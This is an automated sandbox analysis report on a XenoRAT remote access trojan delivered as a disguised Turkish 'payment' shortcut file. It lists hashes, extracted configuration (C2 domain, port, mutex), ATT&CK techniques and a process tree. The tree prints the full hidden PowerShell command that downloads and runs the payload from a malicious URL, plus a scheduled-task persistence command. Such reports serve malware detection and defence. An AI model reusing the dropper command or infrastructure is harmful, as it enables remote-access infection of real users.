xenorat | 2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
03-05-2024 12:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Odeme -(Mayis).lnk
Size

2KB
MD5

2ad899ef7b0d361186d8487950b7e167
SHA1

151d04d656e68152cc2116b0837331a7df30eb27
SHA256

2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618
SHA512

2a84054d0f22a042eb2390dba4831eea02700334531e09a3e4ce3b7ca0db71d12ea7d0de30b19280ac0fe746002f4fc96a4904832c81b3dac6647c4a9a50b39b

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif

Extracted

Family

xenorat

dns.requimacofradian.site

Mutex

Xeno_rat_nd8818g

Attributes

delay
60000
install_path
appdata
port
1243
startup_name
uic

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2884	PoWeRShElL.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2884	PoWeRShElL.exe

Downloads MZ/PE file

Executes dropped EXE 8 IoCs

pid	Process
1780	screenbiwus.pif
2968	screenbiwus.pif
2132	screenbiwus.pif
2016	screenbiwus.pif
1320	screenbiwus.pif
1984	screenbiwus.pif
2804	screenbiwus.pif
2728	screenbiwus.pif

Loads dropped DLL 4 IoCs

pid	Process
1780	screenbiwus.pif
1780	screenbiwus.pif
1780	screenbiwus.pif
2132	screenbiwus.pif

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1780 set thread context of 2968	1780	screenbiwus.pif	31
PID 1780 set thread context of 2132	1780	screenbiwus.pif	32
PID 1780 set thread context of 2016	1780	screenbiwus.pif	33
PID 1320 set thread context of 1984	1320	screenbiwus.pif	35
PID 1320 set thread context of 2804	1320	screenbiwus.pif	36
PID 1320 set thread context of 2728	1320	screenbiwus.pif	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2884	PoWeRShElL.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	PoWeRShElL.exe
Token: SeDebugPrivilege	1780	screenbiwus.pif
Token: SeDebugPrivilege	1320	screenbiwus.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2884	2956	cmd.exe	29
PID 2956 wrote to memory of 2884	2956	cmd.exe	29
PID 2956 wrote to memory of 2884	2956	cmd.exe	29
PID 2884 wrote to memory of 1780	2884	PoWeRShElL.exe	30
PID 2884 wrote to memory of 1780	2884	PoWeRShElL.exe	30
PID 2884 wrote to memory of 1780	2884	PoWeRShElL.exe	30
PID 2884 wrote to memory of 1780	2884	PoWeRShElL.exe	30
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2968	1780	screenbiwus.pif	31
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2132	1780	screenbiwus.pif	32
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 1780 wrote to memory of 2016	1780	screenbiwus.pif	33
PID 2132 wrote to memory of 1320	2132	screenbiwus.pif	34
PID 2132 wrote to memory of 1320	2132	screenbiwus.pif	34
PID 2132 wrote to memory of 1320	2132	screenbiwus.pif	34
PID 2132 wrote to memory of 1320	2132	screenbiwus.pif	34
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 1984	1320	screenbiwus.pif	35
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2804	1320	screenbiwus.pif	36
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37
PID 1320 wrote to memory of 2728	1320	screenbiwus.pif	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Odeme -(Mayis).lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms-apr.dat;(new-object System.Net.WebClient).DownloadFile('https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif','screenbiwus.pif');./'screenbiwus.pif';(get-item 'screenbiwus.pif').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
    "C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Executes dropped EXE
      PID:2968
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "uic" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6C4.tmp" /F
        5⤵
        Creates scheduled task(s)
        
        PID:112
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2132
    - - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1320
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:1984
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:2804
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:2728
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Executes dropped EXE
      PID:2016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif

Filesize
243KB

MD5
beca6ece3880c98abce728f690fc6af9

SHA1
53f7cef644803c6de63008b6ac0dae0c53509760

SHA256
1e1870659de245d275192567b800859af41e84711a70754df1a7bc20ee01f79d

SHA512
52892dce5b7e9518482cec1e5e415310262897e008a87a120f02432f62d3d13ddad2a290741a6e51db790e430c43d595dfb16e8bf1fc6eddf69a9315e4be5174

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6C4.tmp

Filesize
1KB

MD5
86c5744348e031d55bafc55a87803993

SHA1
a6c1b3a008ed463c230cd991a4da483614b327c5

SHA256
b9fba7507a114d649f188f61f7ffa32aa3582bdbba35b1f54afaeb7472a985f1

SHA512
ea0c6ef44c952825651d8004c98e982e84eff6d7252cd83f76d8e37b33a558eb0e995ba0fa4f47ab493c32781ca31c56de135a0a9c1b487e35925bb13a383731

Download Submit
memory/1320-81-0x0000000000D70000-0x0000000000DB6000-memory.dmp

Filesize
280KB

Download
memory/1780-57-0x0000000000430000-0x0000000000436000-memory.dmp

Filesize
24KB

Download
memory/1780-56-0x00000000003F0000-0x0000000000430000-memory.dmp

Filesize
256KB

Download
memory/1780-55-0x0000000000340000-0x0000000000346000-memory.dmp

Filesize
24KB

Download
memory/1780-53-0x00000000010C0000-0x0000000001106000-memory.dmp

Filesize
280KB

Download
memory/2884-44-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-46-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-45-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-43-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-54-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-38-0x000007FEF5E9E000-0x000007FEF5E9F000-memory.dmp

Filesize
4KB

Download
memory/2884-41-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/2884-42-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-39-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2884-40-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-59-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2968-62-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2968-69-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download